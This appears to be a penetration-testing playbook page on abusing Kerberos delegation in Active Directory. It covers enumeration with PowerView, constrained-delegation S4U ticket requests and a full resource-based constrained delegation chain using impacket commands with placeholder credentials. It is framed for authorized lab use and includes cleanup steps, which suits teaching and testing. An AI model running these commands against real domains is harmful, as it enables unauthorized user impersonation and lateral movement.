Conditional: use a validated delegation or RBCD relationship

Needs: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow

Enumerate before attempting any ticket operation

# Enumerate before attempting any ticket operation
Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto

Shell commands

# Baseline
impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP

Shell commands

Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:

# Baseline
impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"

Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.

Resource-based constrained delegation

Prerequisite: effective write control over the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity plus control of a principal with an SPN (often a lab computer account).

# Resource-based constrained delegation
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'

# Cleanup after the lab objective
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -delete -dc-ip DC_IP

Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.

Verify → Verify the exact service ticket and successful destination action, with original delegation state preserved.

If it fails → Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists. More detail ↓

If → then

A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context
Needs: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
Needs: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right → Validate effective directory-object control
Needs: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Conditional: use a validated delegation or RBCD relationship

USE WHEN: Delegation configuration or computer-object write suggests a Kerberos impersonation path
STARTING ACCESS: A domain identity, appropriate host privilege, or a validated effective directory-object right
RESULT: A service-scoped impersonation ticket accepted by the intended destination

Recognize the clue

Inspect directory delegation flags/attributes and map the service principals before considering any impersonation request.

Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained

SYNTHETIC EXAMPLE OUTPUT

Computer: TARGET_HOST
Delegation-related flag: present
Target service and controlled key: not yet established

Means: A delegation flag opens a configuration investigation; unconstrained, constrained and RBCD require different relationships.

Confirm: Identify exact delegation type, controlled service/machine key, target SPN, relevant account flags and KDC acceptance.

After validation: The complete matching relationship yields an accepted service ticket: use that service-scoped conditional path.
Ruled out in this context: The required service identity/key or allowed target is missing: reject that chain.
Still inconclusive: A generic delegation label without actual attributes/keys leaves impersonation unproved.

Troubleshooting: Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists.

Enumerate before attempting any ticket operation:

Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:

Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.

Resource-based constrained delegation

Prerequisite: effective write control over the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity plus control of a principal with an SPN (often a lab computer account).

Cleanup after the lab objective:

Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.

Why it works

Unconstrained, constrained and resource-based delegation use different trust directions and prerequisites. Computer-object write is an intermediate right; it does not by itself provide a valid S4U ticket chain.

Worked example · hypothetical

Observation: a writable computer attribute suggests RBCD. Test: verify a controlled service principal/key and target delegation policy. Illustrative output: a required principal or KDC condition is missing. Interpretation: retain the object right but do not claim impersonation.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗